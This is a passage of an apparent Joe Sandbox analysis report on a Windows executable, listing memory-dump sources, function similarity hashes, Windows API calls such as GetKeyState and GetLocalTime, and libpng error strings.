          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: 8|J$copyright violation: edited ICC profile ignored$known incorrect sRGB profile$out-of-date sRGB profile with no signature
          • API String ID: 0-4008423361
          • Opcode ID: c93a5d6ccb334b91f39f52cadfa5565f9c91eb0a87fff771d12fce213be507dd
          • Instruction ID: 047545e5019778031909f02efc2f1c978650f1963b45dcfcab789a410878135a
          • Opcode Fuzzy Hash: c93a5d6ccb334b91f39f52cadfa5565f9c91eb0a87fff771d12fce213be507dd
          • Instruction Fuzzy Hash: 795138B2708B910BEF28CE394C9176BBBE25FC9304F19896DE4D6D7302E564E905C768
          APIs
          • GetKeyState.USER32(00000010), ref: 004361A0
          • GetKeyState.USER32(00000011), ref: 004361B0
          • CopyRect.USER32(00000000,00000000), ref: 00436285
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: State$CopyRect
          • String ID:
          • API String ID: 4142901696-0
          • Opcode ID: b6d1d531afe3cf63d9a3aa1f50209dfb8ed5cb122f5b458093000f4b81cfc360
          • Instruction ID: 3ce2e3088655763e4b882eb0331409f153ce5a6e53fa32b0a78c1330976b7dbc
          • Opcode Fuzzy Hash: b6d1d531afe3cf63d9a3aa1f50209dfb8ed5cb122f5b458093000f4b81cfc360
          • Instruction Fuzzy Hash: 9FA1C270B04302ABD628DA14C881F3FB3E5EBDCB04F11991EFA4697381D669EC458B5E
          APIs
          • GetLocalTime.KERNEL32(?), ref: 0048320D
          • GetSystemTime.KERNEL32(?), ref: 00483217
          • GetTimeZoneInformation.KERNEL32(?), ref: 0048326C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Time$InformationLocalSystemZone
          • String ID:
          • API String ID: 2475273158-0
          • Opcode ID: dab875cad7f8133a66ea87a243d8efd78591138e71f71907113074c79ffeccd8
          • Instruction ID: cebb48cf446434bea421bed44ed1b1dfe6d72faada2c6a9dfee0ae64e40a3364
          • Opcode Fuzzy Hash: dab875cad7f8133a66ea87a243d8efd78591138e71f71907113074c79ffeccd8
          • Instruction Fuzzy Hash: 13213E29900119A9CB21BFD9D904AFF77B9BF09F15F500996FE11A6190E33C8E82D72D
          APIs
          • GetKeyState.USER32(00000011), ref: 004237F1
          • GetKeyState.USER32(00000010), ref: 00423806
          • GetKeyState.USER32(00000012), ref: 0042381B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: State
          • String ID:
          • API String ID: 1649606143-0
          • Opcode ID: 1a451c326ee5d84bc8e3d1a3721b949fdafea7ce9235b493ab5fd2b573aae491
          • Instruction ID: 9b2dcd1cfe49bc0b50252efe1c800879cbe9904b33a43c2534c2eec3cf03906c
          • Opcode Fuzzy Hash: 1a451c326ee5d84bc8e3d1a3721b949fdafea7ce9235b493ab5fd2b573aae491
          • Instruction Fuzzy Hash: C201269FF002B515EF243E65B4087F188B14780F52FD68033E94D3BB80898D0E86639E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 40c2afe9417562218d434588c04a126dabf1af4ba36b7fed099dc74d35f404b8
          • Instruction ID: e4a7b32f565a1039c231c7872eff5a85230c46aaa576ee912d7b63fd23dbbb3e
          • Opcode Fuzzy Hash: 40c2afe9417562218d434588c04a126dabf1af4ba36b7fed099dc74d35f404b8
          • Instruction Fuzzy Hash: 93F01931604109AADF11AF61DC489EE7FA9AB01344F04C437FD1AD4172DB38CA59EB59
          APIs
          • GetKeyState.USER32(00000010), ref: 00496EA9
          • GetKeyState.USER32(00000011), ref: 00496EB2
          • GetKeyState.USER32(00000012), ref: 00496EBB
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: State
          • String ID:
          • API String ID: 1649606143-0
          • Opcode ID: 9b81b1969780ee4f4bc7e2b0c0eface51a3f736500476eb10d9478a4c719f8a6
          • Instruction ID: 5361e8a8f1bab81886c9e1d59206a372c01bef47e7bec41962c9c8f327ced25d
          • Opcode Fuzzy Hash: 9b81b1969780ee4f4bc7e2b0c0eface51a3f736500476eb10d9478a4c719f8a6
          • Instruction Fuzzy Hash: A7E0927D5002999DEE009E50D900FE66E905B00796F038877EA84AB0A5C7AC9886977D
          APIs
          • __EH_prolog.LIBCMT ref: 00494604
          • GetVersion.KERNEL32(00000007,?,?,00000000,00000000,?,0000C000,00000000,00000000,00000007), ref: 004947B7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: H_prologVersion
          • String ID:
          • API String ID: 1836448879-0
          • Opcode ID: f0331edfb4fe1476e85e0dd64f5c7f3b88f0d3fe3f4859f70e4fa3584583d438
          • Instruction ID: dff53601c04ad3193504ed476c5fd9b6cf5edbb897e7d694c8a9eb08368cbe6c
          • Opcode Fuzzy Hash: f0331edfb4fe1476e85e0dd64f5c7f3b88f0d3fe3f4859f70e4fa3584583d438
          • Instruction Fuzzy Hash: C6E16FB0600219BBDF14DF95CC80EBE7FA9AF85315F10856AF8159A241D73CDE02DB69
          Strings
          • invalid background gamma type, xrefs: 004543CC
          • libpng does not support gamma+background+rgb_to_gray, xrefs: 0045404C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: invalid background gamma type$libpng does not support gamma+background+rgb_to_gray
          • API String ID: 0-3995106164
          • Opcode ID: b22c654a129c6f2286e734f242ad38ed870b3de52a57bf4c86e18317d2aa1542
          • Instruction ID: a0895b796697f0fbb17eb9b6c5947e924eb62711e15e030238b0514bd6fb8386
          • Opcode Fuzzy Hash: b22c654a129c6f2286e734f242ad38ed870b3de52a57bf4c86e18317d2aa1542
          • Instruction Fuzzy Hash: 60624C35108B814AD321DF34C8017F7FBE1AF9A309F08496EDDEA8B353E629A549C759
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Iconic
          • String ID:
          • API String ID: 110040809-0
          • Opcode ID: 22891eafd99b3e221d77d1eae2b48689d0660eee984604b32d53509bc215007e
          • Instruction ID: ec132662b655bcf7bbc797172c448e9f4bc8c5709f8bc5f02d6b0594cb5ef19c
          • Opcode Fuzzy Hash: 22891eafd99b3e221d77d1eae2b48689d0660eee984604b32d53509bc215007e
          • Instruction Fuzzy Hash: 0E819C7A214701CFD354CF28D480B8AB7E5FB99310F10886EE59ACB750D376E896CBA5
          APIs
          • CoCreateInstance.OLE32(004AB368,00000000,00000001,004AB378,00000000), ref: 00468FF9
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateInstance
          • String ID:
          • API String ID: 542301482-0
          • Opcode ID: 3ba6fa0a7078ede37a4f8dda32be2173e59b89e81173f26c1c1497cdecc36e0d
          • Instruction ID: 8c678c71ada5246b50d69f5ca054a3d7037aa580393a29a4bda398fd0647088d
          • Opcode Fuzzy Hash: 3ba6fa0a7078ede37a4f8dda32be2173e59b89e81173f26c1c1497cdecc36e0d
          • Instruction Fuzzy Hash: 92113D74244305AFE754DB54CC89F6BB7E8FBA9704F10891CB549CB2A0E6B4DC85CB62
          Strings
          • bad encoding (internal error), xrefs: 00448B1D
          • color-map index out of range, xrefs: 004489BF
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: bad encoding (internal error)$color-map index out of range
          • API String ID: 0-7351992
          • Opcode ID: 9ad9472cb351171c0c782ba230d35da239ac5704e41df1d23c4a46e85be58983
          • Instruction ID: eb11eb9248af6001f7f7a8758132cf5d5c2e6fa7376d8d516fbf3bc4d283b90b
          • Opcode Fuzzy Hash: 9ad9472cb351171c0c782ba230d35da239ac5704e41df1d23c4a46e85be58983
          • Instruction Fuzzy Hash: 68F1E272B083028FD718DF28C88126EB7D1EBD9304F05467EE999D7741EA39E906CB95
          Strings
          • VUUU, xrefs: 004534E8
          • Row has too many bytes to allocate in memory, xrefs: 0045369C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: Row has too many bytes to allocate in memory$VUUU
          • API String ID: 0-4092465491
          • Opcode ID: 1cf0bb7bf928a420ab1b5c0b17735ba0e9fbc339d5b927ee04173e7d43a75707
          • Instruction ID: 1f2caa736200a9ea75715e98c5bd35e2cb06fa9611cf56d610db5e39413a939c
          • Opcode Fuzzy Hash: 1cf0bb7bf928a420ab1b5c0b17735ba0e9fbc339d5b927ee04173e7d43a75707
          • Instruction Fuzzy Hash: 3E914E71604E445BE72A8E38CC563F777D1AB85347F18452ED9A7C7383E63CAA488748
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: MTrk$d
          • API String ID: 0-4044675371
          • Opcode ID: 3ed69c30b91fbcefdafdd84f32112f7013546ad4c8773cf7a9d2e5f44a74c573
          • Instruction ID: 9dd68ebd2d3af83238c4f6efeae342e5cd0e0016b5f8e3c2ec9212f3cc02d1b1
          • Opcode Fuzzy Hash: 3ed69c30b91fbcefdafdd84f32112f7013546ad4c8773cf7a9d2e5f44a74c573
          • Instruction Fuzzy Hash: BD91A371B006159FD718CF29D8C196EB7E2EFD8304B64853EE84ACB345DA38E905C795
          Strings
          • ICC profile tag start not a multiple of 4, xrefs: 00445849
          • ICC profile tag outside profile, xrefs: 00445898
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID: ICC profile tag outside profile$ICC profile tag start not a multiple of 4
          • API String ID: 0-2051163487
          • Opcode ID: 27c228f1f3c3b3e65c7b3043524158de13ada06d820439ff3cd442bef8e6e608
          • Instruction ID: be455ff6020cdb23792745f6bb2558c865c4197fbf7f9c33e6301a3179722548
          • Opcode Fuzzy Hash: 27c228f1f3c3b3e65c7b3043524158de13ada06d820439ff3cd442bef8e6e608
          • Instruction Fuzzy Hash: 5E31E5F3608B9107EB1CDA2D5CA06A7BBD3ABC8244F1DC56DE4DAC7302E8659505C758
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
